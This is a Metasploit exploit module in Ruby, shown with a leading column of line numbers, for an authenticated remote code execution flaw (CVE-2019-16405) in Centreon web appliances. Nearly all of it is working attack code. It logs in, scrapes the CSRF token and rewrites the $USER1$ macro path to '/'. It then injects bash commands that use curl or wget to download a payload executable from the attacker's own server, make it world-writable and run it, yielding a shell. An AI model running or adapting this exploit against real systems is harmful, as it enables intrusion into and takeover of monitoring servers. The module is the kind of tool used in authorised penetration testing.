1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185 | ####################################################################
# This module requires Metasploit: https://metasploit.com/download #
# Current source: https://github.com/rapid7/metasploit-framework #
####################################################################
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
"Name" => "Centreon Authenticated Macro Expression Location Setting Handler Code Execution",
"Description" => %q{
Authenticated Remote Code Execution on Centreon Web Appliances.
Affected versions: =< 18.10, 19.04
By amending the Macros Expression's default directory to / we are able to execute system commands and obtain a shell as user Apache.
Vendor verified: 09/17/2019
Vendor patched: 10/16/2019
Public disclosure: 10/18/2019
},
"License" => MSF_LICENSE,
'Author' => [
'TheCyberGeek', # Discovery
'enjloezz' # Discovery and Metasploit Module
],
'References' =>
[
['URL','https://github.com/centreon/centreon/pull/7864'],
['CVE','2019-16405']
],
"Platform" => "linux",
"Targets" => [
["Centreon", {}],
],
"Stance" => Msf::Exploit::Stance::Aggressive,
"Privileged" => false,
"DisclosureDate" => "Oct 19 2019",
"DefaultOptions" => {
"SRVPORT" => 80,
},
"DefaultTarget" => 0
))
register_options(
[
OptString.new("TARGETURI", [true, "The URI of the Centreon Application", "/centreon"]),
OptString.new("USERNAME", [true, "The Username of the Centreon Application", "admin"]),
OptString.new("PASSWORD", [true, "The Password of the Centreon Application", ""]),
OptString.new("TARGETS", [true, "The method used to download shell from target (default is curl)", "curl"]),
OptInt.new("HTTPDELAY", [false, "Number of seconds the web server will wait before termination", 10]),
]
)
end
def exploit
begin
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "index.php"),
"method" => "GET",
)
@phpsessid = res.get_cookies
/centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body
unless token
vprint_error("Couldn't get token, check your TARGETURI")
return
end
res = send_request_cgi!(
"uri" => normalize_uri(target_uri.path, "index.php"),
"method" => "POST",
"cookie" => @phpsessid,
"vars_post" => {
"useralias" => datastore["USERNAME"],
"password" => datastore["PASSWORD"],
"centreon_token" => token,
},
)
unless res.body.include? "You need to enable JavaScript to run this app"
fail_with Failure::NoAccess "Cannot login to Centreon"
end
print_good("Login Successful!")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"method" => "GET",
"cookie" => @phpsessid,
"vars_get" => {
"p" => "60904",
"o" => "c",
"resource_id" => 1,
},
)
/centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"vars_get" => {
"p" => "60904",
},
"method" => "POST",
"cookie" => @phpsessid,
"vars_post" => {
"resource_name": "$USER1$",
"resource_line": "/",
"instance_id": 1,
"resource_activate": 1,
"resource_comment": "Nagios Plugins Path",
"submitC": "Save",
"resource_id": 1,
"o": "c",
"initialValues": "" "a:0:{}" "",
"centreon_token": token
},
)
begin
Timeout.timeout(datastore["HTTPDELAY"]) { super }
rescue Timeout::Error
vprint_error("Server Timed Out...")
end
rescue ::Rex::ConnectionError
vprint_error("Connection error...")
end
end
def primer
@pl = generate_payload_exe
@path = service.resources.keys[0]
binding_ip = srvhost_addr
proto = ssl ? "https" : "http"
payload_uri = "#{proto}://#{binding_ip}:#{datastore["SRVPORT"]}/#{@path}"
send_payload(payload_uri)
end
def send_payload(payload_uri)
payload = "/bin/bash -c \"" + ( datastore["method"] == "curl" ? ("curl #{payload_uri} -o") : ("wget #{payload_uri} -O") ) + " /tmp/#{@path}\""
print_good("Sending Payload")
send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"method" => "POST",
"cookie" => @phpsessid,
"vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": payload, "o": "p", "min": 1 },
)
end
def on_request_uri(cli, req)
print_good("#{peer} - Payload request received: #{req.uri}")
send_response(cli, @pl)
run_shell
stop_service
end
def run_shell
print_good("Setting permissions for the payload")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"method" => "POST",
"cookie" => @phpsessid,
"vars_get" => {
"p": "60801",
"command_hostaddress": "",
"command_example": "",
"command_line": "/bin/bash -c \"chmod 777 /tmp/#{@path}\"",
"o": "p",
"min": 1,
},
)
print_good("Executing Payload")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"method" => "POST",
"cookie" => @phpsessid,
"vars_get" => {
"p": "60801",
"command_hostaddress": "",
"command_example": "",
"command_line": "/tmp/#{@path}",
"o": "p",
"min": 1,
},
)
end
end
|
